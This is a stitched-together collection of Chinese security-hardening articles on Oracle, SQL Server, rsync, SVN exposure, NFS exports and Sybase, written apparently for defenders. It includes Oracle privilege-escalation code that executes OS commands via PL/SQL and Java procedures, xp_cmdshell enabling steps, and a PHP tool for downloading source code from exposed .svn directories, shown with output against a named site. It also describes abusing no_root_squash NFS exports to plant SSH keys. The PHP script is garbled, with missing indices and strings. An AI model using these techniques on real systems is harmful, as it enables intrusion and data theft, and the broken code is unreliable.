添加用户口令 添加rsync用户权限访问,注意配置的是
rsyncd.conf
中的:
secrets file = /etc/rsyncd.secrets #密码文件位置,认证文件设置,设置用户名和密码 auth users = rsync #授权帐号,认证的用户名,如果没有这行则表明是匿名,多个用户用,分隔。

0x01 测试环境

操作系统:window server 2008 x64 oracle:oracle 11.2.0.1.0

0x02 oracle权限介绍

oracle一个实例就是一个数据库,创建一个新的数据库会产生一个新的实例,并且一个实例独立运行一个进程。 一个用户对应一个方案,当用户新建一个数据对象(比如表)之后会在此方案下面。自己访问可以直接访问,其他用户访问需通过“
方案名.对象名
”的方式。 用户默认拥有自己方案下面的数据对象的权限,其他用户无相应权限。
sys,system默认拥有所有方案的权限
。 当一个用户登录oracle实例时,首先需要判断用户是有否登录权限,如果没有,直接不能登录,如果有,则登录成功。登录成功之后,会根据用户拥有的权限来决定能做的事情,在进行一项操作时,如果有权限,则操作成功,如果没有权限,则操作失败。 oracle主要有两个核心进程,
一个是oracle的服务进程

一个是监听进程
,当外部连接oracle时,首先是访问的监听进程,由监听进程根据你访问的数据库实例来转发到相应的oracle实例进程处理。

0x03 oracle系统服务

在window server 2008中安装的oracle 11g总共会有七个服务,这七个服务的含义分别为: a. Oracle ORCL VSS Writer Service:

Oracle卷映射拷贝写入服务,VSS(Volume Shadow Copy Service)能够让存储基础设备(比如磁盘,阵列等)创建高保真的时间点映像,即映射拷贝(shadow copy)。它可以在多卷或者单个卷上创建映射拷贝,同时不会影响到系统的系统能。(非必须启动)

b. OracleDBConsoleorcl:

Oracle数据库控制台服务,orcl是Oracle的实例标识,默认的实例为orcl。在运行Enterprise Manager(企业管理器OEM)的时候,需要启动这个服务。(非必须启动)

c. OracleJobSchedulerORCL:

Oracle作业调度(定时器)服务,ORCL是Oracle实例标识。(非必须启动)

d. OracleMTSRecoveryService:

服务端控制。该服务允许数据库充当一个微软事务服务器MTS、COM/COM+对象和分布式环境下的事务的资源管理器。(非必须启动)

e. OracleOraDb11g_home1ClrAgent:

Oracle数据库.NET扩展服务的一部分。 (非必须启动)

f. OracleOraDb11g_home1TNSListener:

监听器服务,服务只有在数据库需要远程访问的时候才需要。(非必须启动,但是供外部访问则必须启动)。

g. OracleServiceORCL:

数据库服务(数据库实例),是Oracle核心服务该服务,是数据库启动的基础, 只有该服务启动,Oracle数据库才能正常启动。(必须启动)

那么在开发的时候到底需要启动哪些服务呢? 对新手来说,要是只用Oracle自带的sql*plus的话,只要启动
OracleServiceORCL
即可,要是使用
PL/SQL Developer
等第三方工具的话,
OracleOraDb11g_home1TNSListener
服务也要开启。
OracleDBConsoleorcl
是进入基于web的EM必须开启的,其余服务很少用。

0x04 oracle默认账户

在oracle11g安装后,会有很多系统默认账号,除了4个外,其他的都处于锁定状态,如无特殊用途,请不要打开。另外4个分别为: SYS用户
SYS
,当创建一个数据库时,SYS用户将被默认创建并授予DBA角色,所有数据库数据字典中的基本表和视图都存储在名为SYS的方案中,这些基本表和视图对于Oracle数据库的操作是非常重要的。为了维护数据字典的真实性,SYS方案中的表只能由系统来维护,他们不能被任何用户或数据库管理员修改,而且任何用户不能在SYS方案中创建表。 SYSTEM用户
SYSTEM
,与SYS一样,在创建Oracle数据库时,SYSTEM用户被默认创建并被授予DBA角色,用于创建显示管理信息的表或视图,以及被各种Oracle数据库应用和工具使用的内容表 或视图。 DBSNMP用户
DBSNMP
是Oracle数据库中用于智能代理(Intelligent Agent)的用户,用来监控和管理数据库相关性能的用户,如果停止该用户,则无法提取相关的数据信息。 SYSMAN用户
SYSMAN
是Oracle数据库中用于EM管理的用户,如果你不用该用户,也可以删除或者锁定。 以上4个账户的密码均为安装时候设置的密码,由于一般情况下,DBSNMP和SYSMAN用户不会被使用而被遗漏,建议锁定。

0x05 oracle权限和角色

a.权限 oracle权限分为系统权限和对象权限,当刚刚建立用户时,用户没有任何权限,也不能执行任何操作。如果要执行某种特定的数据库操作,则必须为其授予系统的权限。如果用户要访问其他方案的对象,则必须为其授予对象的权限。 系统权限是指执行特定类型Sql命令的权利,它用于控制用户可以执行的一个或是一组数据库操作。比如当用户具有create table权限是,可以在其方案中建表,当用户具有create any table权限时,可以在任何方案中建表。Oracle提供了100多种系统权限。 常见的系统权限见下表:
create session|连接数据库 create view|创建视图 create procedure|创建过程、函数、包 create cluster|建簇 create table|创建表 create public synonym|创建同义词 create trigger|创建触发器
常见的对象权限见下表:
alter|修改表结构 delete|删除数据 select|查询数据 insert|添加数据 update|修改数据 index|在表上建立索引 references|引用 execute|执行
注:可以用all代替select, update, insert, alter, index, delete b. 角色 oracle角色分为系统角色和自定义角色,自定义角色可以根据需要指定相应的权限,系统角色主要介绍下面3个:
DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。 RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。 CONNECT:拥有Connect权限的用户只可以登录,不可以创建实体和数据库结构。 对于普通用户:授予connect, resource角色。 对于DBA管理用户:授予connect,resource, dba角色。

0x06 oracle如何建立网站连接用户

方案一:
使用system新建一个用户名,给予connect,resource 的角色 使用新建的用户登录,然后创建需要的表 使用system登录,revoke新建用户的connect,resource角色 使用system登录,grant新建用户create session 权限 使用system登录,给予新建用户在USERS表空间的权限
方案二:
使用system登录,创建网站需要的表 使用system登录,创建一个用户名 使用system登录,grant新建用户create session的系统权限,然后根据网站的需要给予所建表的相应的对象权限。 使用system登录,给予新建用户在USERS表空间的权限
网站访问数据库的时候使用“system.表名”的形式。

0x07 oracle安全配置方案

1. 限制访问ip 方法一: 防火墙指定,windows中通过windows防火墙中指定监听端口的访问ip,linux中通过iptables指定监听端口的访问ip。 方法二: windows中可通过
ipsec
指定监听端口的访问ip。 方法三: 可通过oracle的监听器中指定可访问的ip 在服务器上的文件
$ORACLE_HOME/network/admin/sqlnet.ora
中设置以下行:
tcp.validnode_checking = yes
允许访问的ip
tcp.invited_nodes = (ip1,ip2…)
不允许访问的ip
tcp.excluded_nodes=(ip1,ip2,……)
修改端口 可以修改监听器的端口,减少扫描量 关闭不必要的服务 可以关闭不必要的服务来减少对外访问,除了OracleServiceORCL和
OracleOraDb11g_home1TNSListener
是必须开启的之外,其他的均可以关闭。特别是
OracleDBConsoleorcl
服务的开启会启用
web版的EM
,访问端口在
1158
,如不需要请关闭此服务。 所有的用户均需设置强密码 在设置密码的时候均需要设置
8位以上的强密码,且包含大小写,数字,特殊字符
。 关闭不需要的用户 oracle默认会有4个不锁定的账户,建议锁定
DBSNMP

SYSMAN
。 特权账户的处理 限制数据库超级管理员远程登录。 a. 在spfile中设置
REMOTE_LOGIN_PASSWORDFILE=NONE
b. 在
sqlnet.ora
中设置
SQLNET.AUTHENTICATION_SERVICES=NONE
禁用SYSDBA角色的自动登录 开启日志 可以开启日志对数据库进行审计,但是也会消耗资源,可根据实际情况操作。 网站使用的数据库账号权限最小化 可以根据上面写的网站连接数据库账户推荐的方案建立。 合理使用数据库进程账户 数据库进程账户使用较低权限账户,新建一个新用户,添加数据目录的写权限,如果配置之后跑不起来,可以退而求其次,给予整个数据库目录的完全控制权限。 合理配置数据库进程账户对磁盘的权限 不要给予数据库目录以外的特殊权限,最好是读取权限都不给,可以根据实际情况来安排,原则就是数据库目录给的权限能保证正常运行,其他的目录能不给就不给。

0x08 oracle提权及防御点

1. 通过PL/SQL提权
create or replace library exec_shell as '$ORACLE_HOME\bin\msvcrt.dll'; create or replace procedure execmd (command in char) is external name "system" library exec_shell language c; / exec execmd('net user >netaaa.txt');
2. 使用java提权
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user > netaaa.txt');
以上两种方法如果使用sys均可以提权成功,而普通权限用户是无法完成上面的操作的。所以防御源头还是只能对sys特权账户的管理,但是如果真的特权账户被黑客获取,此时的方法也只有使用低权限的数据库进程账户,以及控制进程账户对磁盘的权限,这样操作能将黑客能够操作的权限降到最低。 至于先对低权限的oracle账户提升为dba权限,然后进行系统提权的操作本文不讨论,也请大牛提供更好的方法。

0x09 oracle常见操作命令

1. 连接数据库
conn sys/mima@orcl as sysdba;
2. 新建用户
create user yonghuming identified by mima;
3. 给用户授权
grant connect, resource to yonghuming; grant create session to yonghuming; alter user yonghuming quota unlimited on USERS; grant unlimited tablespace to yonghuming; grant select on testable to yonghuming;
4. 取消授权
revoke connect , resource from yonghuming;
5. 删除锁定(解锁)账号
alter user yonghuming lock; alter user yonghuming unlock; drop user yonghuming cascade;

sql server 2008 权限介绍

在访问sql server 2008的过程中,大致验证流程如下图: 当登录操作一个数据库的时候,会经过三次验证:
1. 操作系统的验证 2. SQL SERVER登录名的验证 3. 数据库用户名的验证
当使用windows身份认证模式的时候,使用的windows账号会通过操作系统的验证,然后以sysadmin的服务器角色通过SQL SERVER 的验证,在访问一个具体的数据库的时候又以其映射的dbo用户名登录相应的数据库。 当使用SQL SERVER 身份认证模式的时候,首先会使用类似于IIS中的匿名账号来通过windows验证,然后以其对应的服务器角色来通过SQL SERVER 的验证,在访问一个具体数据库的时候以其映射的数据库用户名来登录相应的数据库。 操作系统层面:在windows方式验证的过程中,由所使用的windows账号。使用sql账号验证的时候,应该是使用了一个类似于iis中的匿名账号来通过windows验证的。 SQL SERVER 层面:由sql server的登录用户的权限来控制,具体的权限由对应的服务器角色来决定。 (SA是SQL SERVER的一个登录用户名,而不是数据库的用户名) 数据库层面:由数据库的用户名的权限来控制,具体可以通过选择不同的数据库角色或者自定义权限来实现。 (SQL SERVER的登录用户名SA通过映射数据库的用户名来访问数据库内容 ) 所以在SQL SERVER 中,对权限起决定性作用的就是服务器登录名角色和数据库用户名角色。

sql server 2008 服务器角色及数据库角色

固定服务器角色

(登录SQL SERVER登录用户的权限角色,如SA默认拥有sysadmin角色权限)
Dbcreator:这个服务器角色的成员可以创建、更改、删除和还原任何数据库。 Diskadmin:这个服务器角色用于管理磁盘文件,比如镜像数据库和添加备份设备。Processadmin:SQL Server 2008能够多任务化,也就是说可以通过执行多个进程做多个事件。 Securityadmin:这个服务器角色的成员将管理登录名及其属性。他们可以授权、拒绝和撤销服务器级权限。也可以授权、拒绝和撤销数据库级权限。另外,它们可以重置SQL Server 2008登录名的密码。 Serveradmin:这个服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。Setupadmin:为需要管理链接服务器和控制启动的存储过程的用户而设计。这个角色的成员能添加到setupadmin,能增加、删除和配置链接服务器,并能控制启动过程。 Sysadmin:这个服务器角色的成员有权在SQL Server 2008中执行任何任务。 Public: 有两大特点,第一,初始状态时没有权限;第二,所有的数据库用户都是它的成员。

固定数据库角色:

(数据库用户权限) 微软提供了9个内置的角色,以便于在数据库级别授予用户特殊的权限集合。
db_owner: 该角色的用户可以在数据库中执行任何操作。 db_accessadmin: 该角色的成员可以从数据库中增加或者删除用户。 db_backupopperator: 该角色的成员允许备份数据库。 db_datareader: 该角色的成员允许从任何表读取任何数据。 db_datawriter: 该角色的成员允许往任何表写入数据。 db_ddladmin:该角色的成员允许在数据库中增加、修改或者删除任何对象(即可以执行任何DDL语句)。 db_denydatareader: 该角色的成员被拒绝查看数据库中的任何数据,但是他们仍然可以通过存储过程来查看。 db_denydatawriter: 像db_denydatareader角色,该角色的成员被拒绝修改数据库中的任何数据,但是他们仍然可以通过存储过程来修改。 db_securityadmin: 该角色的成员可以更改数据库中的权限和角色。 public:在SQL Server 2008中每个数据库用户都属于public数据库角色。当尚未对某个用户授予或者拒绝对安全对象的特定权限时,这该用户将据称授予该安全对象的public角色的权限,这个数据库角色不能被删除。

安全配置方案


1. 限制可以访问数据库的IP 一般可以通过安全策略里面的ipsec或者windows防火墙来限制。 2. 修改数据库的访问端口 可以在SQL SERVER 配置管理器修改访问端口为不常见端口来防止一般性扫描 3. 修改日志审核策略 将登录审核修改为“开启登录成功和失败的日志”,这样方便数据库被入侵之后,对日志的查看。 4. 对SA账户的处理 如使用混合身份验证模式,建议禁用掉SA账户,否则设置非常强的SA密码。 5. 网站使用的数据库账号 对于每一个网站新建一个登陆用户并关联一个数据库用户,设置强密码,给予服务器角色为:PUBLIC,给予对应的数据库角色为:db_owner(需更加安全的保护对应数据库的数据需要调节更加严格的权限,此处给予的为此数据库的最高权限,若此账号泄露,此数据库中的数据不保,配合后续配置不影响服务器安全) 6. 数据库服务运行账号 数据库需要往磁盘写文件,或者通过存储过程执行命令的权限由数据库服务器的运行账户权限决定,使用NETWORK SERVICE账户来运行数据库服务器是较安全的。 7. 磁盘权限的合理配置 合理配置数据库运行,账户在磁盘上的权限,一定不要随意给写权限,特别是网站目录及数据库存储目录以外的位置,这样即使是SA也不能往磁盘写文件。 8. 危险存储过程的处理 由于在sql server 2008中 sp_dropextendedproc 不能删除系统扩展存储过程,所以直接禁用常见危险存储过程。具体可根据实际情况来操作,因为有些存储过程是正常需要的。对于一般账户而言,根本没有执行这些高危存储过程的权限,而对于SA账户来说,以上所有的操作都是可恢复的,个人觉得SA账户被入侵之后的关键控制点在于合理配置数据库服务运行账号的权限。

常见入侵分析及防御

1. 数据库0day

zhangsan认为,升级吧!

2. 网站被入侵获取到普通服务器权限的账号

如果网站被入侵(类似SQL注入),很显然其对应的账号的数据库的数据肯定是不保了。普通账号(只给PUBLIC的账户)是无法执行系统命令的,可能的方式是通过备份数据库来达到写马的操作,防御的最好方法是严格控制数据库运行账号对磁盘的写权限

3. SA账户被入侵

SA账户被入侵后,一般会通过开启xp_cmdshell存储过程来执行系统命令。但是如果配置的数据库服务运行账号NETWORK SERVICE,它能够执行的系统命令也就有限了,甚至可以取消NETWORK SERVICE对于cmd.exe的执行权限。还有就是需要合理配置NETWORK SERVICE的磁盘写入权限。

常见操作介绍

1. 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1; go RECONFIGURE; GO EXEC sp_configure 'xp_cmdshell', 1; go RECONFIGURE; GO
2. 使用xp_cmdshell执行系统命令的操作
exec xp_cmdshell 'whoami'
(如果该存储过程可以执行说明可能已经被入侵) 3. 高危存储过程处理 常见危险存储过程:
xp_cmdshell xp_delete_file xp_regread xp_regwrite xp_dirtree
由于在sql server 2008中 sp_dropextendedproc 不会删除系统扩展存储过程,故直接禁用即可
EXEC sp_configure 'show advanced options', 0; EXEC sp_configure 'xp_cmdshell', 0;
求指正,求指教

SVN介绍

Subversion,简称SVN,是一个开放源代码的版本控制系统,相对于的RCS、CVS,采用了分支管理系统,它的设计目标就是取代CVS。互联网上越来越多的控制服务从CVS转移到Subversion。 Subversion的官方网站是:
http://www.subversion.org.cn/?action-viewnews-itemid-1

http://www.subversion.org.cn/svnbook/1.4/

http://www.ibm.com/developerworks/cn/java/j-lo-apache-subversion/

http://blog.csdn.net/kangquan2008/article/details/8070391

http://www.cnblogs.com/aLittleBitCool/archive/2011/07/09/2101602.html

案例: .svn目录未设权限限制的漏洞利用总结

缺陷编号:wooyun-2012-05539 漏洞标题:.svn目录未设权限限制的漏洞利用总结 相关厂商:svn 漏洞作者: 小雨 提交时间:2012-03-25 12:31 修复时间:2012-03-25 12:31 公开时间:2012-03-25 12:31 漏洞类型:系统/服务运维配置不当

漏洞说明

有的站点使用.svn来做生产环境版本控制,但是.svn目录没有做访问权限限制,可以通过
.svn/entries
来遍历文件和目录列表。 为了节约体力,我写了一个php脚本(http://rains.im/?q=node/18)来做这件事,如果
*.php.svn-base
不被当
.php
来执行,那么恭喜你,svn中的.php程序源码随你下了,分析源码可能能帮助你发现更多漏洞。 如果.php.svn-base被当成php文件来执行了,可能看到php错误信息(看到真实路径)或内容为空白,那么,同样恭喜你,这个站点有扩展名识别问题,找地方上传xxx.php.gif也许就可以直接得到webshell了。

/usr/local/bin/svn_clone -cvvvu http://www.2.newsmth.net *** 下载 bbspsttmpl.php 文件 写入 bbspsttmpl.php 到 /data/src/www.2.newsmth.net (4190 bytes) *** 下载 default-sf.css 文件 写入 default-sf.css 到 /data/src/www.2.newsmth.net (9700 bytes) *** 下载 www2-admin.php 文件 写入 www2-admin.php 到 /data/src/www.2.newsmth.net (1819 bytes) *** 下载 bbspst.php 文件 写入 bbspst.php 到 /data/src/www.2.newsmth.net (2716 bytes)


#!/usr/bin/php -q ?:($opts
?:null); #是否显示帮助 $help = isset($opts
)+isset($opts
); #是否使用颜色 define('USECOLOR', isset($opts
)+isset($opts
)); #调试信息级别,v越多越详细,最多接受3个v, 函数内用,懒得写global,定义成常量吧. define('VERBOSE', count($opts
)+count($opts
)); #本程序的名字,额,我不知道这个写法是否兼容别的shell.反正bash下用它判断是没错的 $cmd = basename($_SERVER
)=='php'?'php '.$_SERVER
:$_SERVER
; if($help or !$url) { die("Usage:\t$cmd option
\n". "\t-u --url\turl\t您想要通过svn克隆的网站url\n". "\t-c --color\t\t使用控制台色彩输出\n". "\t-v --verbose\t\t打印更多的详细信息,v越多越详细\n". "\t-h --help\t\t本帮助信息\n". "Examples:\n". "\t$cmd -u http://localhost\n". "\t$cmd -u http://localhost -cvv\n". "\t$cmd -vu http://localhost\n". "\t$cmd -cvvu http://localhost\n". "\t$cmd --url http://localhost --color --verbose --verbose --verbose 有人勤奋到使用这种格式咩?! Orz.\n" ); } #我真是蛋疼...写这行干啥呢... debug("蛋疼是一种病,要淡定,不要蛋疼...\n", EGGACHE); svn_clone($url); #本程序的主函数 function svn_clone($url) { #去除多余的url结尾多余的斜杠 $url=trim($url,'/'); $entries_url = $url.'/.svn/entries'; $content = get($entries_url); if(!$content) { return debug("$url 不是一个合法的svn工作副本!\n", ERROR); } elseif(strlen($content)<10) { return debug("某个东西太短了,需要蓝色小药丸么?\n", ERROR); } #匹配出entries中的文件和目录名 preg_match_all('/\f\n(
+?)\s(\w+)\s/s', $content, $m) or debug("$entries_url 不包含文件或子目录\n", WARNING); $files = array_combine($m
, $m
); foreach($files as $file=>$type) { if($type=='dir') { debug(">>> 进入 $file 目录\n", ALL); svn_clone($url.'/'.$file); debug("<<< 退出 $file 目录\n", ALL); } elseif($type=='file') { debug("*** 下载 $file 文件\n", ALL); fetch($url.'/.svn/text-base/'.$file.'.svn-base'); } } } #抓取并保存 function fetch($text_base){ put($text_base, get($text_base)); } #带缓存的抓取 function get($url) { $file = CACHE_DIR.'/'.chunk_split(substr(md5($url),0,6),2,'/').urlencode($url); $dir = dirname($file); if(!is_dir($dir)) { mkdir($dir,0777,true); } if(!file_exists($file)) { $content = file_get_contents($url) or debug("读取 {$url} 内容为空\n", WARNING); if($content) { file_put_contents($file, $content) or debug("写入 {$file} 内容为空\n", WARNING); } } else { $content = file_get_contents($file) or debug("读缓存 {$file} 内容为空\n", WARNING); } return $content; } #保存到数据目录 function put($url, $content='') { $file = DATA_DIR.substr(strchr($url,'://'),2); $dir = dirname(dirname(dirname($file))); $file = basename($file,'.svn-base'); #看看你那什么有多长? $len = strlen($content); if(!is_dir($dir)) { mkdir($dir,0777,true); } debug("写入 $file 到 $dir ($len bytes)\n", ALL); file_put_contents($dir.'/'.$file, $content) or debug("写入 {$file} 内容为空\n", WARNING); } #打印调试信息 function debug($msg, $level=0) { #颜色定义 0:灰, 1:红, 2:绿, 3:黄, 4:蓝, 5:粉, 6:青, 7:白 static $colors = array(NONE=>0, ERROR=>1, WARNING=>2, ALL=>3, EGGACHE=>4); VERBOSE>=$level && (USECOLOR?printf("\033
}m$msg\033

运维安全之NFS安全

说起NFS是(Network File System)的缩写,相信这很多人都知道。其最大的优点就是可以在网络里使不同的主机,不同的操作系统来互相分享文件。由于
NFS不像WEB那样经常使用
,一般也就用到的时候去网上随便找篇文档安装一下,剩下的就是能用就行了。所以安全性往往是比较容易忽略的问题。 NFS的联动进程有nfsd,rpc.mountd,rpc.statd, locked,rpc.idmapd,rpc.gssd,rpc.svcgssd,其主进程nfsd使用的是TCP/UDP的
2049端口
,其中
TCP协议是在V3版本才引入
的。下面是NFS的发展历程: NFS V1是SUN公司研发,包含在SUN操作系统里。 NFS V2是最原始的NFS协议,在RFC1904中有相关描述,这个版本是基于UDP的,单个文件最大支持4G NFS V3在RFC1813中描述,相对于V2增加了TCP协议的相关支持,安全异步,服务端ACL,V3相对于V2来说性能上有一个很大的提升,但是安全性并没有多少改进。 NFS V4在RFC3530中描述,相对于V3版本,它把lock和mount整合进协议中,开发了新的AC L控制机制,引入对UTF-8字符集的支持,NFS V4要求所有实现都必须支持kerberos的身份验证,替代了原有的基于UID/GID的身份验证
下面阐述一下V3的连接过程:
NFSv3协议的服务器端是无状态的,所以就算机器重启了,NFS服务起来以后,客户端依然可以拿着旧文件句柄继续读写文件。但是服务器端的lockd进程是有状态的,重启就有点麻烦,解决方案是服务器端的rpc.statd让客户端报告自己手里的锁,然后重新让lockd恢复锁状态。 客户端问服务器端的portmap:
rpc.mount
目前的用哪个端口?客户端向服务器端的rpc.mount请求挂载NFS; 服务器端的rpc.mount判断权限后给客户端一个文件句柄; 客户端使用这个句柄与服务器端的nfsd交流(使用TCP/UDP的
2049
端口),以读写文件。
NFS V3的验证机制及安全:
NFS V3及其附属协议采用标准的
RPC AUTH_SYS
(又称AUTH_UNIX)机制验证挂载后的客户端对具体文件的权限,服务器完全信任客户端声名的自己的权限(其实不能被称为是“验证”了 大概过程就是客户端会在读写之前告诉服务器自己的UID和GID,然后NFS就把这些ID视同自己系统上的ID来验证权限; 客户端可以很容易伪造出高权限的ID以达到攻击的目的,防御的临时解决之道是不让NFS暴露在公有网络上且不打开NFS的root权限(是比较弱的防御) 还有一个麻烦是,不同客户端上同一个username的UID想保持同步是件不容易的事。 不要把包含配置文件的目录export出去
export整个文件系统的根出去
,而不是export文件系统中某个目录出去。因为即使只是export一个目录出去,攻击者也可能通过猜测的方式得到文件系统中其它目录的读写权限。比如说一个ext3挂载在/mnt/下了,用NFS export/mnt/data1/出去,攻击者就可能读写
/mnt/data2/
下的文件。这显然不是我们希望的,因此不如干脆共享整个文件系统(也就是/mnt/)出去。或者也可以使用NFS的
substree_check
来帮我们做检查来防止这种入侵,但是这个选项会较大幅度降低NFS的性能 如果一个文件系统挂载点是另一个文件系统的子目录,那么父系统开启
crossmnt
或者子系统开启
nohide
就可以把两个文件系统都共享出去,使用这个选项的时候要小心,别共享了自己不想共享的内容出去 虽然
nfsd
固定使用
2049
端口,但是lockd、mountd、statd都使用portmap随机分配的端口,这让防火墙很难配置,而且还可能占用还没起来的其它服务的端口。可以在
/etc/sysconfig/nfs
中把这些进程的端口都配置成固定的,这样配置防火墙(只放行自己信任的IP)就容易了
rpcinfo -p
可以查看
portmap
分配出去的端口。

NFS配置不当那些事


0x00 背景
NFS(Network File System):是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源; NFS配置:
(声明:以下NFS实验是在RedHat7上完成)
首先安装NFS(我的机子是最小化的系统,需要自己安装):
#!bash yum install nfs-utils.x86_64 -y
启动服务:
#!bash systemctl start rpcbind(如果这个服务不启动,nfs服务会启动失败) systemctl start nfs-server systemctl enable rpcbind;systemctl enable nfs-server 开机自启 firewall-cmd --permanent --add-service=nfs 让防火墙通过NFS服务 firewall-cmd --permanent --add-service=rpc-bind 通过rpc服务(如果不开启,rpcinfo就不能扫描) firewall-cmd --permanent --add-service=mountd 通过mountd服务(如果不开启,不能远程showmount) firewall-cmd --reload
配置:
mkdir /pentest(创建一个共享目录) vi /etc/exports cat /etc/exports / *(rw,sync,no_root_squash) (注意:问题就出在这个地方,原理在文后解释) exportfs -r (启动共享) showmount -e (查看共享)
客户端挂载:
mount -t nfs NFS服务器IP:/ /tmp/test (挂载到本地的/tmp/test中)

0x01 检测
对存在NFS配置错误的机子进行扫描:
rpcinfo -p 192.168.119.131
查看nfs挂载新型:
showmount -e 192.168.119.131
得到这些信息,我们就可以挂载NFS,并传输ssh永久连接文件
0x02 总结
其实漏洞形成的原理就是权限不对,
/etc/exports
这个文件中的权限设置,我们上文采用的是root权限,所以导致服务器被入侵; /etc/exports 文件格式 <输出目录>

a. 输出目录:输出目录是指NFS系统中需要共享给客户机使用的目录; b. 客户端:客户端是指网络中可以访问这个NFS输出目录的计算机

指定ip地址的主机:
192.168.0.200
指定子网中的所有主机:
192.168.0.0/24 192.168.0.0/255.255.255.0
指定域名的主机:
david.bsmart.cn
指定域中的所有主机:
*.bsmart.cn
所有主机:
*

c. 选项:选项用来设置输出目录的访问权限、用户映射等。

设置输出目录只读:ro 设置输出目录读写:rw

d. 用户映射选项

all_squash:将远程访问的所有普通用户及所属组都映射为匿名用户或用户组(nfsnobody); no_all_squash:与all_squash取反(默认设置); root_squash:将root用户及所属组都映射为匿名用户或用户组(默认设置); no_root_squash:与rootsquash取反; anonuid=xxx:将远程访问的所有用户都映射为匿名用户,并指定该用户为本地用户(UID=xxx); anongid=xxx:将远程访问的所有用户组都映射为匿名用户组账户,并指定该匿名用户组账户为本地用户组账户(GID=xxx);

e. 其它选项

secure:限制客户端只能从小于1024的tcp/ip端口连接nfs服务器(默认设置); insecure:允许客户端从大于1024的tcp/ip端口连接服务器; sync:将数据同步写入内存缓冲区与磁盘中,效率低,但可以保证数据的一致性; async:将数据先保存在内存缓冲区中,必要时才写入磁盘; wdelay:检查是否有相关的写操作,如果有则将这些写操作一起执行,这样可以提高效率(默认设置); no_wdelay:若有写操作则立即执行,应与sync配合使用; subtree:若输出目录是一个子目录,则nfs服务器将检查其父目录的权限(默认设置); no_subtree:即使输出目录是一个子目录,nfs服务器也不检查其父目录的权限,这样可以提高效率。

从cloudstack默认配置看NFS安全

看到有同学写了关于NFS的运维安全,本菜鸟以cloudstack为例也写下关于NFS访问控制安全吧。 0x00 NFS默认配置缺陷 在Cloudstack云平台部署时,按照apache官方的安装文档,如果又不对管理网络进行隔离会导致整个云环境中的虚拟机处于危险状态:
http://cloudstack.apache.org/docs/zh-CN/Apache_CloudStack/4.1.1/html/Installation_Guide/management-server-install-flow.html#prepare-nfs-share
1. 配置新的路径作为 NFS 引入, 编辑
/etc/exports
。引入NFS 共享用rw,async,no_root_squash。例如:
#!bash #vi /etc/exports
插入下列行。
/export *(rw,async,no_root_squash)
看到如上的配置exports文件,小伙伴们震惊了吧,任意用户可以读取与写入文件,该配置是对整个云环境的存储做的配置,也就意味着任意能够访问到该IP的用户都可控制整个云系统。
0x01 攻击权限配置不当的NFS系统
只要在云环境中的任意一台主机进行查看: 然后进行mount 该文件夹,可以任意操作该存储上的虚拟机:
0x02 漏洞修复
还是
/etc/exports
下的文件,如果配置成如下模式则可减少风险(我说的仅仅是减少):
/export 172.19.104.6(rw,async,no_root_squash)
这样就把访问控制给了单独的IP,但这样是不是就安全了,小伙伴们可以继续想伪造IP的办法来绕过了。

Sybase数据库介绍


简介
Sybase的全称又叫: SAP Sybase Adaptive Server Enterprise(简称ASE或Sybase ASE),继承于MSSQL的原始代码,和MSSQL血缘很近。Sybase是一种关系型数据库系统,是一种典型的UNIX或WindowsNT平台上客户机/服务器环境下的大型数据库系统。它以PowerBuilder为开发工具,以SAP Sybase SQL Anywhere为客户端。目前新版是ASE 15.7.x,命名从12.5.5直接到15.0.0(跳过中间的13、14),本次测试的是12.5.2,其中12.5是12大版本中最稳定的版本。 创建数据库的时候要注意存放设备:
服务及端口
开放端口:
备份服务:5001

监控服务:5002

数据库主服务:5000

存储过程服务:5004

默认数据库

Master:系统的核心数据库,控制服务器的操作以及存储有关所有用户数据库和相关的存储设备的信息,包括用户的用户名和密码; Model:模板数据库,当创建用户数据库时,系统根据model数据库制作副本,并将数据库的大小扩展到用户指定的大小。 Systemprocs:保存系统的存储过程。 Sybsystemdb:关于分布式事务管理功能。 Tempdb:包含临时表,放置临时数据。

注册用户和数据库用户
当SQL SERVER创建注册用户后,该用户就能合法进SQL SERVER,该注册用户信息会放在master数据库中的 syslogins表中。但只有注册用户成为某一数据库用户,并且对该用户赋予某些权限时,该注册用户才能在限制条件下使用数据库中的表。 创建注册用户:
sp_addlogin loginame, passwd (删除即为drop)
创建数据库用户:

sp_adduser loginame (此处的loginame 必须是注册用户,否则报错)
分配权限:
grant all | select,insert,delete,update on table_name | view_name | stored_procedure_name to username

grant all | create database,create default,create procedure,create rule,create table,create view,set proxy,set session authorization to username

数据库用户分类
sa用户、数据库属主、数据库对象属主和数据库普通用户 1)、sa用户:为系统用户,拥有全部的权限。 2)、数据库属主用户:数据库属主(dbo)用户可对本数据库中所有对象(如表、视图、存储过程等)进行操作。 3)、数据库对象属主:在实际管理中, ,一般为数据库属主。 4)、数据库普通用户:类似于public,数据库普通用户必须在数据库属主对本数据库中某些对象(如表、视图、进程等)赋予某些权限时,才可对本数据库中某些对象进行允许的操作。
别名(aliases)与组(group)
1)、别名:所谓别名(aliases)即将SQL SERVER中的注册用户以同一个数据库用户的身份来访问数据库,并具有与该用户相同的权限。 2)、组(group)为数据库用户的集合,即通过对组(group)的权限的控制达到对该组中数据库用户的控制,但也可对该组中数据库某些用户进行格外的权限控制。 角色 一般在管理分工较细的数据库系统中,sa用户往往被分为三种角色:系统管理员角色(SA role)、系统安全员角色(SSO role)、操作员角色(OPER role)。
角色
一般在管理分工较细的数据库系统中,sa用户往往被分为三种角色:系统管理员角色(SA role)、系统安全员角色(SSO role)、操作员角色(OPER role)。

连接及管理工具

1)、isql 类似于mysql数据库的的mysql.exe。可连接本地及网络数据库。 使用
isql –U sa –P “”
连接: 所有参数要区分大小写:

